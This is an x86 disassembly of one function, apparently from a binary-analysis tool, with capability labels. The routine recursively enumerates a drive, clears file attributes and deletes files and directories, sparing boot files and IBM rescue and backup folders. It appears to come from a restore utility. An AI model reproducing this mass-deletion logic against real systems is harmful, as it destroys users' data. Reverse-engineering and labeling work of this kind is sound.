Function at 0x401420
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Manipulate boot configuration
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x4141c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x66c
push ebx
mov ebx, dword [esp + 0x680]
push ebp
push esi
push edi
lea eax, [esp + 0x474]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea ecx, [esp + 0x47c]
push 0x41c174
push ecx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 0x10
lea edx, [esp + 0x224]
lea eax, [esp + 0x474]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4016f5
mov esi, dword [sym.imp.MSVCRT.dll__wcsicmp]
mov ebp, dword [sym.imp.MSVCRT.dll_swprintf]
mov edi, dword [sym.imp.MSVCRT.dll_wcslen]
lea ecx, [esp + 0x250]
push 0x41c170
push ecx
call esi
add esp, 8
test eax, eax
je 0x40166e
lea edx, [esp + 0x250]
push 0x41c168
push edx
call esi
add esp, 8
test eax, eax
je 0x40166e
lea eax, [esp + 0x250]
lea ecx, [esp + 0x1c]
push eax
push ebx
push 0x41c15c
push ecx
call ebp
mov al, byte [esp + 0x234]
add esp, 0x10
test al, 7
je 0x401507
lea edx, [esp + 0x1c]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test byte [esp + 0x224], 0x10
je 0x4015b8
lea eax, [esp + 0x1e]
push str.:IBMSHARE
push eax
call esi
add esp, 8
test eax, eax
je 0x40166e
lea ecx, [esp + 0x22]
push str.IBMTOOLSUTILSRescue
push ecx
call esi
add esp, 8
test eax, eax
je 0x40166e
lea edx, [esp + 0x250]
push edx
push str.RRUbackups
call esi
add esp, 8
test eax, eax
je 0x40166e
lea eax, [esp + 0x250]
push eax
push 0x41c0f0
call esi
add esp, 8
test eax, eax
je 0x40166e
lea ecx, [esp + 0x250]
push ecx
push str.minint
call esi
add esp, 8
test eax, eax
je 0x40166e
lea edx, [esp + 0x1c]
push edx
call edi
add esp, 4
cmp eax, 0x104
ja 0x40166e
lea eax, [esp + 0x1c]
push eax
call fcn.00401420
add esp, 4
jmp 0x40166e
lea ecx, [esp + 0x1e]
push str.:_ntldr
push ecx
call esi
add esp, 8
test eax, eax
je 0x40166e
lea edx, [esp + 0x1e]
push str.:_ntdetect.com
push edx
call esi
add esp, 8
test eax, eax
je 0x40166e
lea eax, [esp + 0x1e]
push str.:peldr
push eax
call esi
add esp, 8
test eax, eax
je 0x40166e
lea ecx, [esp + 0x1e]
push str.:_boot.ini
push ecx
call esi
add esp, 8
test eax, eax
je 0x40166e
lea edx, [esp + 0x1c]
push edx
call edi
add esp, 4
cmp eax, 0x104
ja 0x40166e
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40166e
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.00413dc4
push ecx
mov dword [esp + 0x68c], 0
mov ecx, esp
mov dword [esp + 0x1c], esp
push str.DeleteFile
call fcn.00413dc4
push 0
mov dword [esp + 0x690], 0xffffffff
call fcn.00406a10
add esp, 0xc
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x224]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4014a0
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call edi
add esp, 4
cmp eax, 2
jbe 0x4016f5
push ebx
call edi
add esp, 4
cmp eax, 0x104
ja 0x4016f5
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x4016f5
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push ebx
call fcn.00413dc4
push ecx
mov dword [esp + 0x68c], 1
mov ecx, esp
mov dword [esp + 0x20], esp
push str.RemoveDirectory
call fcn.00413dc4
push 0
mov dword [esp + 0x690], 0xffffffff
call fcn.00406a10
add esp, 0xc
mov ecx, dword [esp + 0x67c]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x678
ret